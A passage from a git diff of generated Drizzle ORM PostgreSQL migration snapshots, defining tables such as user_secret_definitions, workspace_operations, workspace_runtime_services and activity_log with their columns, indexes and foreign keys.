+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_declarations_required_override_idx": {
+          "name": "user_secret_declarations_required_override_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "allow_missing_override",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "where": "\"user_secret_declarations\".\"allow_missing_override\" = true",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "user_secret_declarations_company_id_companies_id_fk": {
+          "name": "user_secret_declarations_company_id_companies_id_fk",
+          "tableFrom": "user_secret_declarations",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "user_secret_declarations_user_secret_definition_id_user_secret_definitions_id_fk": {
+          "name": "user_secret_declarations_user_secret_definition_id_user_secret_definitions_id_fk",
+          "tableFrom": "user_secret_declarations",
+          "tableTo": "user_secret_definitions",
+          "columnsFrom": [
+            "user_secret_definition_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.user_secret_definitions": {
+      "name": "user_secret_definitions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_encrypted'"
+        },
+        "managed_mode": {
+          "name": "managed_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'paperclip_managed'"
+        },
+        "provider_config_id": {
+          "name": "provider_config_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_metadata": {
+          "name": "provider_metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "usage_guidance": {
+          "name": "usage_guidance",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "deleted_at": {
+          "name": "deleted_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "user_secret_definitions_company_status_idx": {
+          "name": "user_secret_definitions_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_definitions_company_provider_idx": {
+          "name": "user_secret_definitions_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_definitions_provider_config_idx": {
+          "name": "user_secret_definitions_provider_config_idx",
+          "columns": [
+            {
+              "expression": "provider_config_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_definitions_company_key_uq": {
+          "name": "user_secret_definitions_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"user_secret_definitions\".\"deleted_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "user_secret_definitions_company_id_companies_id_fk": {
+          "name": "user_secret_definitions_company_id_companies_id_fk",
+          "tableFrom": "user_secret_definitions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "user_secret_definitions_provider_config_id_company_secret_provider_configs_id_fk": {
+          "name": "user_secret_definitions_provider_config_id_company_secret_provider_configs_id_fk",
+          "tableFrom": "user_secret_definitions",
+          "tableTo": "company_secret_provider_configs",
+          "columnsFrom": [
+            "provider_config_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "user_secret_definitions_created_by_agent_id_agents_id_fk": {
+          "name": "user_secret_definitions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "user_secret_definitions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "user_secret_definitions_updated_by_agent_id_agents_id_fk": {
+          "name": "user_secret_definitions_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "user_secret_definitions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.user_sidebar_preferences": {
+      "name": "user_sidebar_preferences",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_order": {
+          "name": "company_order",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "user_sidebar_preferences_user_uq": {
+          "name": "user_sidebar_preferences_user_uq",
+          "columns": [
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.workspace_operations": {
+      "name": "workspace_operations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "phase": {
+          "name": "phase",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "command": {
+          "name": "command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cwd": {
+          "name": "cwd",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'running'"
+        },
+        "exit_code": {
+          "name": "exit_code",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_store": {
+          "name": "log_store",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_ref": {
+          "name": "log_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_bytes": {
+          "name": "log_bytes",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_sha256": {
+          "name": "log_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_compressed": {
+          "name": "log_compressed",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "stdout_excerpt": {
+          "name": "stdout_excerpt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "stderr_excerpt": {
+          "name": "stderr_excerpt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "workspace_operations_company_run_started_idx": {
+          "name": "workspace_operations_company_run_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_operations_company_workspace_started_idx": {
+          "name": "workspace_operations_company_workspace_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_operations_company_workspace_issue_started_idx": {
+          "name": "workspace_operations_company_workspace_issue_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "workspace_operations_company_id_companies_id_fk": {
+          "name": "workspace_operations_company_id_companies_id_fk",
+          "tableFrom": "workspace_operations",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "workspace_operations_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "workspace_operations_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "workspace_operations",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_operations_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "workspace_operations_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "workspace_operations",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_operations_issue_id_issues_id_fk": {
+          "name": "workspace_operations_issue_id_issues_id_fk",
+          "tableFrom": "workspace_operations",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.workspace_runtime_services": {
+      "name": "workspace_runtime_services",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_workspace_id": {
+          "name": "project_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "scope_type": {
+          "name": "scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "service_name": {
+          "name": "service_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "lifecycle": {
+          "name": "lifecycle",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "reuse_key": {
+          "name": "reuse_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "command": {
+          "name": "command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cwd": {
+          "name": "cwd",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "port": {
+          "name": "port",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "url": {
+          "name": "url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_ref": {
+          "name": "provider_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_by_run_id": {
+          "name": "started_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "stopped_at": {
+          "name": "stopped_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "stop_policy": {
+          "name": "stop_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "exposure": {
+          "name": "exposure",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "exposure_handle": {
+          "name": "exposure_handle",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "backend_url": {
+          "name": "backend_url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "workspace_runtime_services_company_workspace_status_idx": {
+          "name": "workspace_runtime_services_company_workspace_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_runtime_services_company_execution_workspace_status_idx": {
+          "name": "workspace_runtime_services_company_execution_workspace_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_runtime_services_company_project_status_idx": {
+          "name": "workspace_runtime_services_company_project_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_runtime_services_run_idx": {
+          "name": "workspace_runtime_services_run_idx",
+          "columns": [
+            {
+              "expression": "started_by_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_runtime_services_company_updated_idx": {
+          "name": "workspace_runtime_services_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "workspace_runtime_services_company_id_companies_id_fk": {
+          "name": "workspace_runtime_services_company_id_companies_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_project_id_projects_id_fk": {
+          "name": "workspace_runtime_services_project_id_projects_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_project_workspace_id_project_workspaces_id_fk": {
+          "name": "workspace_runtime_services_project_workspace_id_project_workspaces_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "project_workspaces",
+          "columnsFrom": [
+            "project_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "workspace_runtime_services_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_issue_id_issues_id_fk": {
+          "name": "workspace_runtime_services_issue_id_issues_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_owner_agent_id_agents_id_fk": {
+          "name": "workspace_runtime_services_owner_agent_id_agents_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_started_by_run_id_heartbeat_runs_id_fk": {
+          "name": "workspace_runtime_services_started_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "started_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    }
+  },
+  "enums": {},
+  "schemas": {},
+  "sequences": {},
+  "roles": {},
+  "policies": {},
+  "views": {},
+  "_meta": {
+    "columns": {},
+    "schemas": {},
+    "tables": {}
+  }
+}
\ No newline at end of file
diff --git a/packages/db/src/migrations/meta/0225_snapshot.json b/packages/db/src/migrations/meta/0225_snapshot.json
new file mode 100644
index 00000000000..3285ef982ad
--- /dev/null
+++ b/packages/db/src/migrations/meta/0225_snapshot.json
@@ -0,0 +1,39600 @@
+{
+  "id": "5f26d1e4-4e78-4976-8a1f-1bd860931b8d",
+  "prevId": "d925c84b-41b6-42d1-a0f9-4ee090ef3cd1",
+  "version": "7",
+  "dialect": "postgresql",
+  "tables": {
+    "public.activity_log": {
+      "name": "activity_log",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "action": {
+          "name": "action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "entity_type": {
+          "name": "entity_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "entity_id": {
+          "name": "entity_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "details": {
+          "name": "details",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "activity_log_company_created_idx": {
+          "name": "activity_log_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "activity_log_company_agent_created_idx": {
+          "name": "activity_log_company_agent_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "activity_log_company_responsible_user_created_idx": {
+          "name": "activity_log_company_responsible_user_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "activity_log_run_id_idx": {
+          "name": "activity_log_run_id_idx",
+          "columns": [
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "activity_log_entity_type_id_idx": {
+          "name": "activity_log_entity_type_id_idx",
+          "columns": [
+            {
+              "expression": "entity_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "entity_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "activity_log_company_id_companies_id_fk": {
+          "name": "activity_log_company_id_companies_id_fk",
+          "tableFrom": "activity_log",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "activity_log_agent_id_agents_id_fk": {
+          "name": "activity_log_agent_id_agents_id_fk",
+          "tableFrom": "activity_log",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "activity_log_run_id_heartbeat_runs_id_fk": {
+          "name": "activity_log_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "activity_log",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.adapter_auth_sessions": {
+      "name": "adapter_auth_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "started_by_user_id": {
+          "name": "started_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "public_session_id": {
+          "name": "public_session_id",
+          "type": "varchar(128)",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_lease_id": {
+          "name": "provider_lease_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'starting'"
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
